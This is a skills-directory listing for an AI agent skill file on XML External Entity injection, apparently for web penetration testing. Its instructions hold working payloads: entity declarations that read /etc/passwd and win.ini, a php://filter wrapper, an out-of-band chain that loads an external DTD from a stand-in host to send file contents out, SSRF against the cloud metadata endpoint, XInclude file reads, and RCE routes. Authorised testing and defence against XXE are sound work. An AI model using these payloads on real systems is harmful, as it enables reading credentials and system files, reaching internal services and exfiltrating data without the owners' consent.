XML External Entity injection and XML-parser attacks — in-band file read, blind/OAST exfiltration via external DTDs, SSRF through entities, billion-laughs DoS awareness, and XXE via SVG/DOCX/XLSX/SOAP/SAML and other XML-backed formats. Use for any endpoint that parses XML or XML-containing file uploads.
16 stars
0 votes
0 copies
2 views
Added November 17, 2026
securityjavaphp
Security analysis
B88/100
criticalAccesses sensitive system or user directories
Installs into .claude/skills of the current project.
Sponsors
SSkills DirectorySkills Directory
Know which skills are safe — weekly.
SSkills DirectorySkills Directory
Is that skill safe to install?
Are you the author of Web Xxe?
Add the live security badge to your README. It updates with every re-scan.
[](https://www.skillsdirectory.com/skills/anandjogawade-web-xxe)
---
name: web-xxe
description: XML External Entity injection and XML-parser attacks — in-band file read, blind/OAST exfiltration via external DTDs, SSRF through entities, billion-laughs DoS awareness, and XXE via SVG/DOCX/XLSX/SOAP/SAML and other XML-backed formats. Use for any endpoint that parses XML or XML-containing file uploads.
---
# XML External Entity (XXE) Injection
If the server parses XML with external entities enabled, you can read files, reach internal services, and sometimes achieve RCE. Look well beyond obvious `Content-Type: application/xml` — many formats are XML underneath.
## Trigger phrases
`xxe, xml external entity, xml injection, dtd, svg upload, docx xxe, saml, soap xxe, xml parser`
## 1. Find XML sinks
- Endpoints accepting `application/xml`, `text/xml`, SOAP, or XML in a field.
- File uploads that are XML underneath: **SVG, DOCX/XLSX/PPTX (OOXML zips), XML sitemaps, RSS, SAML responses, GPX/KML, .plist, SVG in image fields**.
- Try switching a JSON endpoint's `Content-Type` to XML — some parsers accept both.
## 2. Confirm parsing & entity expansion
Inject a benign internal entity and see it expand:
```
<?xml version="1.0"?>
<!DOCTYPE r [<!ENTITY test "ZQMARKER">]>
<root>&test;</root>
```
`ZQMARKER` reflected ⇒ entities process.
## 3. In-band file read
```
<!DOCTYPE r [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root>
```
- Windows: `file:///c:/windows/win.ini`. For files with `<`/`&`, use PHP wrapper base64: `php://filter/convert.base64-encode/resource=/etc/passwd` (PHP targets) or CDATA-wrapping via external DTD.
## 4. Blind / OAST XXE (no reflection)
Host an external DTD and trigger out-of-band exfiltration:
- Request references your DTD: `<!DOCTYPE r [<!ENTITY % ext SYSTEM "http://oob/evil.dtd"> %ext;]>`
- `evil.dtd` builds a parameter-entity exfil chain that sends file contents to your server (error-based or HTTP-based). See `${CLAUDE_PLUGIN_ROOT}/payloads/xxe.md` for the full OAST DTD templates (both error-based and out-of-band).
- A DNS/HTTP callback alone confirms blind XXE.
## 5. SSRF via XXE
Point `SYSTEM` at internal URLs / cloud metadata: `<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">`. Hand escalation to `web-ssrf`.
## 6. Format-specific delivery
- **SVG:** embed the DOCTYPE/entity in an uploaded SVG rendered server-side (thumbnailing, PDF export) — reads files into the rendered image.
- **OOXML (DOCX/XLSX):** unzip, inject XXE into one of the XML parts (e.g., `word/document.xml`, `[Content_Types].xml`), re-zip, upload.
- **SOAP/SAML:** inject into the XML body/assertion; SAML XXE can combine with signature-wrapping (→ `web-jwt-oauth` for SAML logic).
## 7. Advanced
- **Parameter entities** are required when general entities are blocked in certain positions.
- **Local DTD reuse** ("existing DTD" technique) for exfil when outbound is blocked but a local `.dtd` exists.
- **XInclude:** when you can't control the DOCTYPE but can inject into an element: `<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>`.
- **Billion laughs / quadratic blowup:** note DoS exposure but do **not** fire against production without explicit RoE.
- **RCE:** PHP `expect://` wrapper if enabled; Java jar/`netdoc:`; otherwise chain file-read of secrets/keys toward other access.
## Evidence
Capture the payload, the leaked file contents or OAST callback, and the sink/format. See `${CLAUDE_PLUGIN_ROOT}/payloads/xxe.md`.